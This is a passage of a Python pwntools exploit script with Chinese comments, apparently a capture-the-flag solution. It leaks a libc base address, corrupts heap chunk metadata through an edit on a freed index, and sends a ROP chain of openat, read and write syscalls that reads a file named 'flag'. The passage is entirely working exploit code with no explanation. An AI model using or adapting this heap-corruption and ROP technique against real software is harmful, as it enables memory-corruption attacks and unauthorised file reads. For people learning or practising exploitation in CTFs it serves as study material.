# 泄露libc地址
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ecbe0
add(0x130) # index 21
delete(19)
add(0x130) # index 22
add(0x200)
# 设置
payload_chunk = b'a' * 0x130 + p64(0) + p64(0xD1) + p64(heap_base + 0x2f50) + p64(heap_tmp)
edit(19, payload_chunk)
edit(19, p64(0) + p64(0xD1) + p64(0) + p64(byte) + b'flag\x00')
add(0xC0)
# libc地址
pop_rax = libc_base + 0x0000000000036174
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
syscall = libc_base + 0x00000000000630a9
# gdb.attach(p, 'b *0x4016A9')
magic()
payload = b'a' * 0x30 + p64(0)
# openat
payload += p64(pop_rax) + p64(257)
payload += p64(pop_rdi) + p64(0xffffff9c)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(syscall)
# read
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# write
payload += p64(pop_rax) + p64(1)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
p.send(payload)
p.interactive()